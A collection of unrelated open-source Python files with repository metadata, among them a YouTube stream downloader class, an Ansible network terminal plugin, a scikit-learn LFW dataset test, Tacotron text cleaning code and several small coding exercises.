self.type, self.subtype = self.mime_type.split("/") # ['vp8', 'vorbis'] -> video_codec: vp8, audio_codec: vorbis. DASH # streams return NoneType for audio/video depending. self.video_codec, self.audio_codec = self.parse_codecs() def set_attributes_from_dict(self, dct): """Set class attributes from dictionary items. :rtype: None """ for key, val in dct.items(): setattr(self, key, val) @property def is_adaptive(self): """Whether the stream is DASH. :rtype: bool """ # if codecs has two elements (e.g.: ['vp8', 'vorbis']): 2 % 2 = 0 # if codecs has one element (e.g.: ['vp8']) 1 % 2 = 1 return len(self.codecs) % 2 @property def is_progressive(self): """Whether the stream is progressive. :rtype: bool """ return not self.is_adaptive @property def includes_audio_track(self): """Whether the stream only contains audio. :rtype: bool """ if self.is_progressive: return True return self.type == "audio" @property def includes_video_track(self): """Whether the stream only contains video. :rtype: bool """ if self.is_progressive: return True return self.type == "video" def parse_codecs(self): """Get the video/audio codecs from list of codecs. Parse a variable length sized list of codecs and returns a constant two element tuple, with the video codec as the first element and audio as the second. Returns None if one is not available (adaptive only). :rtype: tuple :returns: A two element tuple with audio and video codecs. """ video = None audio = None if not self.is_adaptive: video, audio = self.codecs elif self.includes_video_track: video = self.codecs[0] elif self.includes_audio_track: audio = self.codecs[0] return video, audio @property def filesize(self): """File size of the media stream in bytes. :rtype: int :returns: Filesize (in bytes) of the stream. """ if self._filesize is None: headers = request.get(self.url, headers=True) self._filesize = int(headers["content-length"]) return self._filesize @property def title(self): """Get title of video :rtype: str :returns: Youtube video title """ player_config_args = self.player_config_args or {} if "title" in player_config_args: return player_config_args["title"] details = self.player_config_args.get("player_response", {},).get( "videoDetails", {} ) if "title" in details: return details["title"] return "Unknown YouTube Video Title" @property def default_filename(self): """Generate filename based on the video title. :rtype: str :returns: An os file system compatible filename. """ filename = safe_filename(self.title) return "{filename}.{s.subtype}".format(filename=filename, s=self) def download(self, output_path=None, filename=None, filename_prefix=None): """Write the media stream to disk. :param output_path: (optional) Output path for writing media file. If one is not specified, defaults to the current working directory. :type output_path: str or None :param filename: (optional) Output filename (stem only) for writing media file. If one is not specified, the default filename is used. :type filename: str or None :param filename_prefix: (optional) A string that will be prepended to the filename. For example a number in a playlist or the name of a series. If one is not specified, nothing will be prepended This is seperate from filename so you can use the default filename but still add a prefix. :type filename_prefix: str or None :rtype: str """ output_path = output_path or os.getcwd() if filename: safe = safe_filename(filename) filename = "{filename}.{s.subtype}".format(filename=safe, s=self) filename = filename or self.default_filename if filename_prefix: filename = "{prefix}{filename}".format( prefix=safe_filename(filename_prefix), filename=filename, ) # file path fp = os.path.join(output_path, filename) bytes_remaining = self.filesize logger.debug( "downloading (%s total bytes) file to %s", self.filesize, fp, ) with open(fp, "wb") as fh: for chunk in request.get(self.url, streaming=True): # reduce the (bytes) remainder by the length of the chunk. bytes_remaining -= len(chunk) # send to the on_progress callback. self.on_progress(chunk, fh, bytes_remaining) self.on_complete(fh) return fp def stream_to_buffer(self): """Write the media stream to buffer :rtype: io.BytesIO buffer """ buffer = io.BytesIO() bytes_remaining = self.filesize logger.debug( "downloading (%s total bytes) file to BytesIO buffer", self.filesize, ) for chunk in request.get(self.url, streaming=True): # reduce the (bytes) remainder by the length of the chunk. bytes_remaining -= len(chunk) # send to the on_progress callback. self.on_progress(chunk, buffer, bytes_remaining) self.on_complete(buffer) return buffer def on_progress(self, chunk, file_handler, bytes_remaining): """On progress callback function. This function writes the binary data to the file, then checks if an additional callback is defined in the monostate. This is exposed to allow things like displaying a progress bar. :param str chunk: Segment of media file binary data, not yet written to disk. :param file_handler: The file handle where the media is being written to. :type file_handler: :py:class:`io.BufferedWriter` :param int bytes_remaining: The delta between the total file size in bytes and amount already downloaded. :rtype: None """ file_handler.write(chunk) logger.debug( "download progress\n%s", pprint.pformat( { "chunk_size": len(chunk), "bytes_remaining": bytes_remaining, }, indent=2, ), ) on_progress = self._monostate["on_progress"] if on_progress: logger.debug("calling on_progress callback %s", on_progress) on_progress(self, chunk, file_handler, bytes_remaining) def on_complete(self, file_handle): """On download complete handler function. :param file_handle: The file handle where the media is being written to. :type file_handle: :py:class:`io.BufferedWriter` :rtype: None """ logger.debug("download finished") on_complete = self._monostate["on_complete"] if on_complete: logger.debug("calling on_complete callback %s", on_complete) on_complete(self, file_handle) def __repr__(self): """Printable object representation. :rtype: str :returns: A string representation of a :class:`Stream <Stream>` object. """ # TODO(nficano): this can probably be written better. parts = ['itag="{s.itag}"', 'mime_type="{s.mime_type}"'] if self.includes_video_track: parts.extend(['res="{s.resolution}"', 'fps="{s.fps}fps"']) if not self.is_adaptive: parts.extend( ['vcodec="{s.video_codec}"', 'acodec="{s.audio_codec}"'] ) else: parts.extend(['vcodec="{s.video_codec}"']) else: parts.extend(['abr="{s.abr}"', 'acodec="{s.audio_codec}"']) parts = " ".join(parts).format(s=self) return "<Stream: {parts}>".format(parts=parts)

[ "homiemusa@gmail.com" ]

homiemusa@gmail.com

e87e47c309e8b06fd93c6d7cc597f5ad45defb4c

a152297e3e61f99a6e48570f39a92f5bae44bfce

/read_csv_dtype.py

533219d206b37a32af0682be7909bd61c27208a4

[]

no_license

Syaza2007/pandas

5ce73f2a15425619344ea7d6d69341bea4716fe3

3096bccbc58d4bb3cb1e5a62bb759aef55a97983

refs/heads/master

2020-06-09T02:58:15.913925

2017-09-12T17:08:34

null

0

null

UTF-8

Python

false

79

py

df = pd.read_csv(inFile, dtype={'state':object,'county':object,'tract':object})

[ "daniel.martin.sheehan@gmail.com" ]

daniel.martin.sheehan@gmail.com

f7793911f3d5f2ab90020e6656f60bbb34963128

9f594f95fabf672df31c451ef758f1dd979d20e4

/agsci/seo/__init__.py

208daa14b09f51282fb42de2b027d9d6443ba431

[]

no_license

tsimkins/agsci.seo

0d37fea8f8a736a5109e050bbb82e90e4233a0a3

39b31b5df21961cbd278851dc3a53f71937fa84a

refs/heads/master

2020-12-30T10:36:47.454391

2018-06-18T14:52:43

26,601,072

0

null

UTF-8

Python

false

1,160

py

from Products.CMFCore.utils import getToolByName from Products.PythonScripts.Utility import allow_module from zope.i18nmessageid import MessageFactory from DateTime import DateTime seoMessageFactory = MessageFactory('agsci.seo') allow_module('agsci.seo') exclude_types = [ 'Cardinality Constraint', 'Content Reference', 'FSDCommittee', 'FSDCommitteeMembership', 'FSDCommitteesFolder', 'FSDCourse', 'FSDDepartment', 'FSDDepartmentalMembership', 'FSDFacultyStaffDirectoryTool', 'FSDPersonGrouping', 'FSDSpecialtiesFolder', 'FSDSpecialty', 'FSDSpecialtyInformation', 'FieldsetEnd', 'FieldsetFolder', 'FieldsetStart', 'FormBooleanField', 'FormConfirmationPage', 'FormMailerAdapter', 'FormMultiSelectionField', 'FormRichLabelField', 'FormSaveDataAdapter', 'FormSelectionField', 'FormStringField', 'FormTextField', 'FormThanksPage', 'Interface Constraint', 'Inverse Implicator', 'Link', 'Newsletter', 'Relations Library', 'Ruleset Collection', 'Ruleset', 'TalkEvent', 'Type Constraint', ] def initialize(context): pass

[ "trs22@psu.edu" ]

trs22@psu.edu

20e5c44e7c4bffe2d3c42c00cb01c58c6a6f4c9f

d886bbef4caafefc1796e77d41d7c7fdddbb4794

/mb/__init__.py

22b50fb108b7696e26f4c3bf7d0d376a66a26c1f

[]

no_license

coryshain/pyModelBlocks

4864a23e4e8452340797fdbc60338ad5e579d14f

ba25bf5d5279962675763f3c30b6452dbae15d25

refs/heads/master

2020-08-26T21:30:55.126202

2019-11-11T21:12:38

217,154,233

0

null

UTF-8

Python

false

417

py

from mb.util.general import * from mb.core.general.core import * from mb.core.general.text import * from mb.core.general.table import * from mb.core.general.tree import * from mb.core.parsing.core import * from mb.core.regression import * from mb.core.regression.lmer import * from mb.core.regression.cdr import * from mb.external_resources.ptb import * from mb.external_resources.natstor import *

[ "cory.shain@gmail.com" ]

cory.shain@gmail.com

f9216e0b85abadad6d47ea519c87ced608c69d2a

897802abf4ee5c7267de3eb5e321cc931898e2f6

/python/python/songTian/part0_base/week02/c231_z_draw/__init__.py

3186d069bc19e4cc6cb986cd688cddf78bfa3f9b

[]

no_license

aojie654/codes_store

0527c7a7729b472e8fd2fd67af462cf857970633

ed71b6266b2d2b5ddefadcb958f17695fb9db6cf

refs/heads/master

2021-07-15T17:04:33.591673

2021-07-03T14:42:30

132,343,733

2

0

null

UTF-8

Python

false

234

py

import turtle # turtle.left(45) turtle.penup() turtle.bk(200) turtle.pendown() turtle.fd(150) turtle.right(135) turtle.fd(300) turtle.left(135) turtle.fd(150) turtle.penup() turtle.goto(100,150) turtle.pendown() turtle.circle(50,360)

[ "aojie654@live.cn" ]

aojie654@live.cn

f09ddbf128cad3f9efabae34ddc77bf3a77764f0

078918048099dfa2454cfac2d449ea3d77fbec55

/452-minimum-number-of-arrows-to-burst-balloons.py

370660e7078631a2893e6cedf203d00f19083f7a

[]

no_license

DmitryVlaznev/leetcode

931784dcc4b465eebda7d22311f5bf5fa879f068

b2a2afdfc725330545c9a2869fefc7d45ec594bc

refs/heads/master

2023-06-10T05:42:34.992220

2023-06-05T09:54:10

2023-06-05T09:54:30

241,064,389

2

0

null

UTF-8

Python

false

2,594

py

# 452. Minimum Number of Arrows to Burst Balloons # There are some spherical balloons spread in two-dimensional space. For # each balloon, provided input is the start and end coordinates of the # horizontal diameter. Since it's horizontal, y-coordinates don't # matter, and hence the x-coordinates of start and end of the diameter # suffice. The start is always smaller than the end. # An arrow can be shot up exactly vertically from different points along # the x-axis. A balloon with xstart and xend bursts by an arrow shot at # x if xstart ≤ x ≤ xend. There is no limit to the number of arrows that # can be shot. An arrow once shot keeps traveling up infinitely. # Given an array points where points[i] = [xstart, xend], return the # minimum number of arrows that must be shot to burst all balloons. # Example 1: # Input: points = [[10,16],[2,8],[1,6],[7,12]] # Output: 2 # Explanation: One way is to shoot one arrow for example at x = 6 (bursting the balloons [2,8] and [1,6]) and another arrow at x = 11 (bursting the other two balloons). # Example 2: # Input: points = [[1,2],[3,4],[5,6],[7,8]] # Output: 4 # Example 3: # Input: points = [[1,2],[2,3],[3,4],[4,5]] # Output: 2 # Example 4: # Input: points = [[1,2]] # Output: 1 # Example 5: # Input: points = [[2,3],[2,3]] # Output: 1 # Constraints: # 0 <= points.length <= 104 # points.length == 2 # -231 <= xstart < xend <= 231 - 1 from typing import List from utils import checkValue class Solution: def findMinArrowShots(self, points: List[List[int]]) -> int: if len(points) < 2: return len(points) import functools def comparator(a, b): if a[0] < b[0]: return -1 if a[0] > b[0]: return 1 if a[1] > b[1]: return -1 if a[1] < b[1]: return 1 return 0 points.sort(key=functools.cmp_to_key(comparator)) arrows, intersection = 0, points[0] for i in range(1, len(points)): p = points[i] if p[0] <= intersection[1]: intersection[0] = max(intersection[0], p[0]) intersection[1] = min(intersection[1], p[1]) else: arrows += 1 intersection = p return arrows + 1 t = Solution() checkValue(2 , t.findMinArrowShots([[10,16],[2,8],[1,6],[7,12]])) checkValue(4 , t.findMinArrowShots([[1,2],[3,4],[5,6],[7,8]])) checkValue(2 , t.findMinArrowShots([[1,2],[2,3],[3,4],[4,5]])) checkValue(1 , t.findMinArrowShots([[1,2]])) checkValue(0 , t.findMinArrowShots([])) checkValue(1 , t.findMinArrowShots([[2,3],[2,3]]))

[ "dmitry.vlaznev@datadvance.net" ]

dmitry.vlaznev@datadvance.net

e85356b804f2734ce5dbfaf2d8f1d7ce277df17f

78743e6b4f07a466d9b43e462f2d687443bf8538

/phkit/english/__init__.py

3ad48a32dab7797f62fdaa4cf8cbdc65b881d773

[ "MIT" ]

permissive

tomguluson92/phkit

9bac08019cc9f742ac82fa24a51e33448bb735da

ff6cd9114aa8a3737c05f0d4bba5d4da766770a0

refs/heads/master

2022-10-04T19:13:03.829071

2020-06-01T03:10:59

null

0

null

UTF-8

Python

false

3,789

py

""" ## english from https://github.com/keithito/tacotron " Cleaners are transformations that run over the input text at both training and eval time. Cleaners can be selected by passing a comma-delimited list of cleaner names as the "cleaners" hyperparameter. Some cleaners are English-specific. You'll typically want to use: 1. "english_cleaners" for English text 2. "transliteration_cleaners" for non-English text that can be transliterated to ASCII using the Unidecode library (https://pypi.python.org/pypi/Unidecode) 3. "basic_cleaners" if you do not want to transliterate (in this case, you should also update the symbols in symbols.py to match your data). """ import re import random from . import cleaners from .symbols import symbols # Mappings from symbol to numeric ID and vice versa: _symbol_to_id = {s: i for i, s in enumerate(symbols)} _id_to_symbol = {i: s for i, s in enumerate(symbols)} # Regular expression matching text enclosed in curly braces: _curly_re = re.compile(r'(.*?)\{(.+?)\}(.*)') def get_arpabet(word, dictionary): word_arpabet = dictionary.lookup(word) if word_arpabet is not None: return "{" + word_arpabet[0] + "}" else: return word def text_to_sequence(text, cleaner_names, dictionary=None, p_arpabet=1.0): '''Converts a string of text to a sequence of IDs corresponding to the symbols in the text. The text can optionally have ARPAbet sequences enclosed in curly braces embedded in it. For example, "Turn left on {HH AW1 S S T AH0 N} Street." Args: text: string to convert to a sequence cleaner_names: names of the cleaner functions to run the text through dictionary: arpabet class with arpabet dictionary Returns: List of integers corresponding to the symbols in the text ''' sequence = [] space = _symbols_to_sequence(' ') # Check for curly braces and treat their contents as ARPAbet: while len(text): m = _curly_re.match(text) if not m: clean_text = _clean_text(text, cleaner_names) if dictionary is not None: clean_text = [get_arpabet(w, dictionary) if random.random() < p_arpabet else w for w in clean_text.split(" ")] for i in range(len(clean_text)): t = clean_text[i] if t.startswith("{"): sequence += _arpabet_to_sequence(t[1:-1]) else: sequence += _symbols_to_sequence(t) sequence += space else: sequence += _symbols_to_sequence(clean_text) break clean_text = _clean_text(text, cleaner_names) sequence += _symbols_to_sequence(_clean_text(m.group(1), cleaner_names)) sequence += _arpabet_to_sequence(m.group(2)) text = m.group(3) # remove trailing space sequence = sequence[:-1] if sequence[-1] == space[0] else sequence return sequence def sequence_to_text(sequence): '''Converts a sequence of IDs back to a string''' result = [] for symbol_id in sequence: if symbol_id in _id_to_symbol: s = _id_to_symbol[symbol_id] # Enclose ARPAbet back in curly braces: if len(s) > 1 and s[0] == '@': s = '{%s}' % s[1:] result.append(s) result = ''.join(result) return result.replace('}{', ' ') def _clean_text(text, cleaner_names): for name in cleaner_names: cleaner = getattr(cleaners, name) if not cleaner: raise Exception('Unknown cleaner: %s' % name) text = cleaner(text) return text def _symbols_to_sequence(symbols): return [_symbol_to_id[s] for s in symbols if _should_keep_symbol(s)] def _arpabet_to_sequence(text): return _symbols_to_sequence(['@' + s for s in text.split()]) def _should_keep_symbol(s): return s in _symbol_to_id and s is not '_' and s is not '~'

[ "kqhyj@163.com" ]

kqhyj@163.com

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""" 演示元组 """ tuple1 = (1,2,3,"itcast","黑马程序员",True,False) print(tuple1) tuple2 = (100,) print(tuple2) # tuple3 = ("itcast") #不是元组 # print(type(tuple3)) # print(tuple1[4]) # tuple1[4] = "heima" for data in tuple1: print(data)

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T = 10 for t in range(1, T+1): n, s = input().split() n = int(n) s = list(s) while True: flag = False i = 1 while i < n: if s[i-1] == s[i]: flag = True s = s[:i-1] + s[i+1:] n -= 2 else: i += 1 if not flag: break result = "".join(s) print("#{} {}".format(t, result))

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goneri/ansible.community

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# # (c) 2016 Red Hat Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # from __future__ import (absolute_import, division, print_function) __metaclass__ = type import re import json from ansible.plugins.terminal import TerminalBase from ansible.errors import AnsibleConnectionFailure from ansible_collections.ansible.community.plugins.module_utils._text import to_bytes, to_text class TerminalModule(TerminalBase): terminal_stdout_re = [ re.compile(br'[\r\n](?!\s*<)?(\x1b\S+)*[a-zA-Z_0-9]{1}[a-zA-Z0-9-_.]*[>|#](?:\s*)(\x1b\S+)*$'), re.compile(br'[\r\n]?[a-zA-Z0-9]{1}[a-zA-Z0-9-_.]*$.+$#(?:\s*)$') ] terminal_stderr_re = [ re.compile(br"% ?Error"), re.compile(br"^error:(.*)", re.I), re.compile(br"^% \w+", re.M), re.compile(br"% ?Bad secret"), re.compile(br"invalid input", re.I), re.compile(br"(?:incomplete|ambiguous) command", re.I), re.compile(br"connection timed out", re.I), re.compile(br"[^\r\n]+ not found", re.I), re.compile(br"'[^']' +returned error code: ?\d+"), re.compile(br"syntax error"), re.compile(br"unknown command"), re.compile(br"user not present"), re.compile(br"invalid (.+?)at '\^' marker", re.I), re.compile(br"configuration not allowed .+ at '\^' marker"), re.compile(br"[B|b]aud rate of console should be.* (\d*) to increase [a-z]* level", re.I), ] def on_become(self, passwd=None): if self._get_prompt().endswith(b'enable#'): return out = self._exec_cli_command('show privilege') out = to_text(out, errors='surrogate_then_replace').strip() if 'Disabled' in out: raise AnsibleConnectionFailure('Feature privilege is not enabled') # if already at privilege level 15 return if '15' in out: return if self.validate_user_role(): return cmd = {u'command': u'enable'} if passwd: cmd[u'prompt'] = to_text(r"(?i)[\r\n]?Password: $", errors='surrogate_or_strict') cmd[u'answer'] = passwd cmd[u'prompt_retry_check'] = True try: self._exec_cli_command(to_bytes(json.dumps(cmd), errors='surrogate_or_strict')) prompt = self._get_prompt() if prompt is None or not prompt.strip().endswith(b'enable#'): raise AnsibleConnectionFailure('failed to elevate privilege to enable mode still at prompt [%s]' % prompt) except AnsibleConnectionFailure as e: prompt = self._get_prompt() raise AnsibleConnectionFailure('unable to elevate privilege to enable mode, at prompt [%s] with error: %s' % (prompt, e.message)) def on_unbecome(self): prompt = self._get_prompt() if prompt is None: # if prompt is None most likely the terminal is hung up at a prompt return if b'(config' in prompt: self._exec_cli_command('end') self._exec_cli_command('exit') elif prompt.endswith(b'enable#'): self._exec_cli_command('exit') def on_open_shell(self): try: for cmd in ('terminal length 0', 'terminal width 511'): self._exec_cli_command(cmd) except AnsibleConnectionFailure: raise AnsibleConnectionFailure('unable to set terminal parameters') def validate_user_role(self): user = self._connection._play_context.remote_user out = self._exec_cli_command('show user-account %s' % user) out = to_text(out, errors='surrogate_then_replace').strip() match = re.search(r'roles:(.+)$', out, re.M) if match: roles = match.group(1).split() if 'network-admin' in roles: return True return False

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/Lib/site-packages/sklearn/datasets/tests/test_lfw.py

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"""This test for the LFW require medium-size data downloading and processing If the data has not been already downloaded by running the examples, the tests won't run (skipped). If the test are run, the first execution will be long (typically a bit more than a couple of minutes) but as the dataset loader is leveraging joblib, successive runs will be fast (less than 200ms). """ import random import os import shutil import tempfile import numpy as np from functools import partial from sklearn.externals import six from sklearn.externals._pilutil import pillow_installed, imsave from sklearn.datasets import fetch_lfw_pairs from sklearn.datasets import fetch_lfw_people from sklearn.utils.testing import assert_array_equal from sklearn.utils.testing import assert_equal from sklearn.utils.testing import SkipTest from sklearn.utils.testing import assert_raises from sklearn.datasets.tests.test_common import check_return_X_y SCIKIT_LEARN_DATA = tempfile.mkdtemp(prefix="scikit_learn_lfw_test_") SCIKIT_LEARN_EMPTY_DATA = tempfile.mkdtemp(prefix="scikit_learn_empty_test_") LFW_HOME = os.path.join(SCIKIT_LEARN_DATA, 'lfw_home') FAKE_NAMES = [ 'Abdelatif_Smith', 'Abhati_Kepler', 'Camara_Alvaro', 'Chen_Dupont', 'John_Lee', 'Lin_Bauman', 'Onur_Lopez', ] def setup_module(): """Test fixture run once and common to all tests of this module""" if not pillow_installed: raise SkipTest("PIL not installed.") if not os.path.exists(LFW_HOME): os.makedirs(LFW_HOME) random_state = random.Random(42) np_rng = np.random.RandomState(42) # generate some random jpeg files for each person counts = {} for name in FAKE_NAMES: folder_name = os.path.join(LFW_HOME, 'lfw_funneled', name) if not os.path.exists(folder_name): os.makedirs(folder_name) n_faces = np_rng.randint(1, 5) counts[name] = n_faces for i in range(n_faces): file_path = os.path.join(folder_name, name + '_%04d.jpg' % i) uniface = np_rng.randint(0, 255, size=(250, 250, 3)) try: imsave(file_path, uniface) except ImportError: raise SkipTest("PIL not installed") # add some random file pollution to test robustness with open(os.path.join(LFW_HOME, 'lfw_funneled', '.test.swp'), 'wb') as f: f.write(six.b('Text file to be ignored by the dataset loader.')) # generate some pairing metadata files using the same format as LFW with open(os.path.join(LFW_HOME, 'pairsDevTrain.txt'), 'wb') as f: f.write(six.b("10\n")) more_than_two = [name for name, count in six.iteritems(counts) if count >= 2] for i in range(5): name = random_state.choice(more_than_two) first, second = random_state.sample(range(counts[name]), 2) f.write(six.b('%s\t%d\t%d\n' % (name, first, second))) for i in range(5): first_name, second_name = random_state.sample(FAKE_NAMES, 2) first_index = random_state.choice(np.arange(counts[first_name])) second_index = random_state.choice(np.arange(counts[second_name])) f.write(six.b('%s\t%d\t%s\t%d\n' % (first_name, first_index, second_name, second_index))) with open(os.path.join(LFW_HOME, 'pairsDevTest.txt'), 'wb') as f: f.write(six.b("Fake place holder that won't be tested")) with open(os.path.join(LFW_HOME, 'pairs.txt'), 'wb') as f: f.write(six.b("Fake place holder that won't be tested")) def teardown_module(): """Test fixture (clean up) run once after all tests of this module""" if os.path.isdir(SCIKIT_LEARN_DATA): shutil.rmtree(SCIKIT_LEARN_DATA) if os.path.isdir(SCIKIT_LEARN_EMPTY_DATA): shutil.rmtree(SCIKIT_LEARN_EMPTY_DATA) def test_load_empty_lfw_people(): assert_raises(IOError, fetch_lfw_people, data_home=SCIKIT_LEARN_EMPTY_DATA, download_if_missing=False) def test_load_fake_lfw_people(): lfw_people = fetch_lfw_people(data_home=SCIKIT_LEARN_DATA, min_faces_per_person=3, download_if_missing=False) # The data is croped around the center as a rectangular bounding box # around the face. Colors are converted to gray levels: assert_equal(lfw_people.images.shape, (10, 62, 47)) assert_equal(lfw_people.data.shape, (10, 2914)) # the target is array of person integer ids assert_array_equal(lfw_people.target, [2, 0, 1, 0, 2, 0, 2, 1, 1, 2]) # names of the persons can be found using the target_names array expected_classes = ['Abdelatif Smith', 'Abhati Kepler', 'Onur Lopez'] assert_array_equal(lfw_people.target_names, expected_classes) # It is possible to ask for the original data without any croping or color # conversion and not limit on the number of picture per person lfw_people = fetch_lfw_people(data_home=SCIKIT_LEARN_DATA, resize=None, slice_=None, color=True, download_if_missing=False) assert_equal(lfw_people.images.shape, (17, 250, 250, 3)) # the ids and class names are the same as previously assert_array_equal(lfw_people.target, [0, 0, 1, 6, 5, 6, 3, 6, 0, 3, 6, 1, 2, 4, 5, 1, 2]) assert_array_equal(lfw_people.target_names, ['Abdelatif Smith', 'Abhati Kepler', 'Camara Alvaro', 'Chen Dupont', 'John Lee', 'Lin Bauman', 'Onur Lopez']) # test return_X_y option fetch_func = partial(fetch_lfw_people, data_home=SCIKIT_LEARN_DATA, resize=None, slice_=None, color=True, download_if_missing=False) check_return_X_y(lfw_people, fetch_func) def test_load_fake_lfw_people_too_restrictive(): assert_raises(ValueError, fetch_lfw_people, data_home=SCIKIT_LEARN_DATA, min_faces_per_person=100, download_if_missing=False) def test_load_empty_lfw_pairs(): assert_raises(IOError, fetch_lfw_pairs, data_home=SCIKIT_LEARN_EMPTY_DATA, download_if_missing=False) def test_load_fake_lfw_pairs(): lfw_pairs_train = fetch_lfw_pairs(data_home=SCIKIT_LEARN_DATA, download_if_missing=False) # The data is croped around the center as a rectangular bounding box # around the face. Colors are converted to gray levels: assert_equal(lfw_pairs_train.pairs.shape, (10, 2, 62, 47)) # the target is whether the person is the same or not assert_array_equal(lfw_pairs_train.target, [1, 1, 1, 1, 1, 0, 0, 0, 0, 0]) # names of the persons can be found using the target_names array expected_classes = ['Different persons', 'Same person'] assert_array_equal(lfw_pairs_train.target_names, expected_classes) # It is possible to ask for the original data without any croping or color # conversion lfw_pairs_train = fetch_lfw_pairs(data_home=SCIKIT_LEARN_DATA, resize=None, slice_=None, color=True, download_if_missing=False) assert_equal(lfw_pairs_train.pairs.shape, (10, 2, 250, 250, 3)) # the ids and class names are the same as previously assert_array_equal(lfw_pairs_train.target, [1, 1, 1, 1, 1, 0, 0, 0, 0, 0]) assert_array_equal(lfw_pairs_train.target_names, expected_classes)

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__author__ = 'Danyang' class Solution: def exist(self, board, word): if not board: return m = len(board) n = len(board[0]) visited = [[False for _ in xrange(n)] for _ in xrange(m)] for i in xrange(m): for j in xrange(n): if board[i][j]==word[0]: visited[i][j] = True if self.search(board, i, j, word[1:], visited): return True visited[i][j] = False return False def search(self, board, pre_row, pre_col, word, visited): if not word: return True m = len(board) n = len(board[0]) next_positions = [(pre_row-1, pre_col), (pre_row+1, pre_col), (pre_row, pre_col-1), (pre_row, pre_col+1)] for next_position in next_positions: if 0<=next_position[0]<m and 0<=next_position[1]<n: if visited[next_position[0]][next_position[1]]==False and board[next_position[0]][next_position[1]]==word[0]: visited[next_position[0]][next_position[1]] = True if self.search(board, next_position[0], next_position[1], word[1:], visited): return True visited[next_position[0]][next_position[1]] = False return False if __name__=="__main__": board = [ "ABCE", "SFCS", "ADEE" ] word = "ABCCED" print Solution().exist(board, word)

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# coding: utf-8 """ FlashArray REST API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 2.17 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re import six import typing from ....properties import Property if typing.TYPE_CHECKING: from pypureclient.flasharray.FA_2_17 import models class RemoteProtectionGroupResponse(object): """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'items': 'list[RemoteProtectionGroup]' } attribute_map = { 'items': 'items' } required_args = { } def __init__( self, items=None, # type: List[models.RemoteProtectionGroup] ): """ Keyword args: items (list[RemoteProtectionGroup]): Returns a list of all items after filtering. The values are displayed for each name where meaningful. """ if items is not None: self.items = items def __setattr__(self, key, value): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `RemoteProtectionGroupResponse`".format(key)) self.__dict__[key] = value def __getattribute__(self, item): value = object.__getattribute__(self, item) if isinstance(value, Property): raise AttributeError else: return value def __getitem__(self, key): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `RemoteProtectionGroupResponse`".format(key)) return object.__getattribute__(self, key) def __setitem__(self, key, value): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `RemoteProtectionGroupResponse`".format(key)) object.__setattr__(self, key, value) def __delitem__(self, key): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `RemoteProtectionGroupResponse`".format(key)) object.__delattr__(self, key) def keys(self): return self.attribute_map.keys() def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): if hasattr(self, attr): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(RemoteProtectionGroupResponse, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, RemoteProtectionGroupResponse): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

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# built-in import json from pathlib import Path # project import pytest from dephell.commands import DepsTreeCommand from dephell.config import Config @pytest.mark.allow_hosts() def test_deps_tree_command(temp_path: Path, capsys): config = Config() config.attach({ 'level': 'WARNING', 'silent': True, }) command = DepsTreeCommand(argv=['--type=json', 'autopep8==1.4.3'], config=config) result = command() captured = capsys.readouterr() output = json.loads(captured.out) assert result is True assert len(output) == 2 assert output[0]['name'] == 'autopep8' assert output[0]['dependencies'] == ['pycodestyle'] assert output[1]['name'] == 'pycodestyle' assert output[1]['dependencies'] == []

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from datetime import datetime now = datetime.now() year = now.year month = now.month day = now.day print(now) print(year) print(month) print(day)

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from xbrr.edinet.models.metadata import MetaData from xbrr.edinet.models.document import Document class Documents(): """Document lists""" def __init__(self, metadata: MetaData = None, documents: list = ()): """ Keyword Arguments: count {MetaData} -- Metadata (default: {None}). documents {list} -- Document list (default: {()}). """ self.metadata = metadata self.__documents = documents @property def list(self): return self.__documents @classmethod def create(cls, body: dict) -> "Documents": """Create instance from EDINET response. Arguments: body {dict} -- EDINET response. Returns: Documents -- Documents and its metadata. """ metadata = MetaData.create(body) _documents = body["results"] documents = [Document.create(d) for d in _documents] instance = cls(metadata, documents) return instance

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class CycloneModel(): def __init__(self): self.supply = 3 self.cargo_size = 3 self.health = 180 self.range = 4 self.range_upgraded = 6 self.sight = 11 self.speed = 4.13 self.ground_attack = True self.aerial_attack = True

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/Pycon2009/excell/xlrd/open.py

c338f5150dc90a9ed67d5717dfc0ca0cd8a1fb0a

[]

no_license

cabecada/pydanny-event-notes

dc8175196e936a8c97b9009281c184beecd28778

cda2a32cafe96701f4e728d4802ef3f3d9d5e9a0

refs/heads/master

2021-01-24T04:54:14.991218

2018-01-24T23:45:37

null

0

null

UTF-8

Python

false

337

py

from mmap import mmap,ACCESS_READ from xlrd import open_workbook print open_workbook('simple.xls') with open('simple.xls', 'rb') as f: print open_workbook( file_contents=mmap(f.fileno(),0,access=ACCESS_READ) ) aString = open('simple.xls','rb').read() print open_workbook(file_contents=aString)

[ "pydanny@gmail.com" ]

pydanny@gmail.com

d5bcf06456df9f6bf43807cb045a5cb3a0d9f605

94f1711fc8b25f3c027ee64a1c44e7a7c9be9972

/examples/plot.py

0df8728bfdbe26d21fe46b36dc700454caa2dd9e

[]

no_license

ALBA-Synchrotron/sls-detector

